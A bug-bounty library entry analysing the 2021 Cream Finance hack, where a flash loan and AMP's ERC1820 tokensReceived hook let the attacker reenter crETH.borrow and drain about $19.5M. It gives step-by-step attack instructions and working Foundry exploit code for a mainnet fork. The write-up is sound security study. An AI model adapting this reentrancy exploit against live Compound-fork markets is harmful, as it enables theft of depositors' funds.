# Cream Finance: AMP reentrancy via ERC1820 hook drains markets

Cream Finance's crAMP/crETH markets were drained via a flash-loan-funded reentrancy through AMP's ERC1820 tokensReceived hook during borrow, netting ~$19.5M in AMP.

- Payout: Real-world hack
- Severity: critical
- Program: Cream Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-08-30
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-08/Cream_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20210830-cream
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:flash-loan vuln:reentrancy

**Target:** Compound-fork lending markets (crETH, crAMP) with AMP token and Uniswap V2
**Root cause:** crAMP.borrow() transfers AMP to the borrower before updating state; AMP's ERC1820 tokensReceived callback reenters crETH.borrow() while the first borrow is still in flight, letting the attacker borrow against the same collateral twice.
**Steps:**
1. Fork mainnet at block 13125070; register this contract as ERC1820 TOKENS_RECIPIENT_INTERFACE_HASH implementer via `ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this))`.
2. Flash-swap 500 WETH from Uniswap V2 pair `0xd3d2E2692501A5c9Ca623199D38826e513033a17` via `uni.swap(0, 500e18, address(this), "0x00")`.
3. In `uniswapV2Call`: `weth.withdraw(500e18)`, then `creth.mint{value: 500e18}()` to post ETH collateral.
4. `creth.borrow(1e18)` to establish a borrow position, then `cramp.accrueInterest()`.
5. `cramp.borrow(19_480_000e18)` — during AMP transfer the ERC1820 `tokensReceived` hook fires.
6. In `tokensReceived`, reenter `crETH(crETH_Address).borrow(354e18)` before the outer borrow's state update.
7. Redeposit ETH via `weth.deposit`, approve Uniswap router for the borrowed AMP, `swapExactTokensForTokens` AMP→WETH, repay the flash loan with `weth.transfer(uin_WTH9_Pair_Address, 502e18)`, and sweep remaining WETH to the attacker wallet.
**Exploitation:** Attacker flash-borrows 500 WETH, mints crETH, opens a small crETH borrow, then calls crAMP.borrow for ~19.48M AMP. AMP's ERC1820 tokensReceived callback reenters crETH.borrow for 354 ETH before the crAMP borrow is recorded, so the same collateral backs both loans. Borrowed AMP is swapped to WETH on Uniswap, the flash loan repaid, and the residual WETH (the 354 ETH reentrant borrow) is sent to the attacker.
**Escalation:** Reentrancy converts a single collateral deposit into two simultaneous borrows, amplifying extracted value beyond the flash-loan principal.
**Insight:** On Compound-fork markets, any borrow token with a transfer hook (ERC777/ERC1820 tokensReceived) can reenter the market mid-borrow; check whether borrow() transfers before updating borrow balances and whether the token invokes a recipient callback.

## Proof of concept (copied exactly from the original report)

**Foundry test triggering AMP reentrancy exploit**

```
function test() public {
        payable(address(0)).transfer(address(this).balance);
        ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));

        mywallet = msg.sender;
        uni.swap(0, 500 * 1e18, address(this), "0x00");
        emit log_named_uint("Exploit completed, WETH Balance", weth.balanceOf(mywallet));
    }
```

**Uniswap callback borrows crAMP and swaps**

```
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        weth.withdraw(500 * 1e18);
        creth.mint{value: 500 * 1e18}();
        creth.borrow(1 * 1e18);
        cramp.accrueInterest();
        cramp.borrow(19_480_000_000_000_000_000_000_000);
        weth.deposit{value: address(this).balance, gas: 40_000}();
        amp.approve(UniswapV2Router02_address, 19_480_000_000_000_000_000_000_000_000);
        unirouterv2.swapExactTokensForTokens(
            19_480_000_000_000_000_000_000_000, 1, path, address(this), block.timestamp
        );
        weth.transfer(uin_WTH9_Pair_Address, 502 * 1e18);
        weth.transfer(mywallet, weth.balanceOf(address(this)));
    }
```

**ERC1820 tokensReceived hook reenters crETH borrow**

```
function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        crETH(crETH_Address).borrow(354 * 1e18);
    }
```

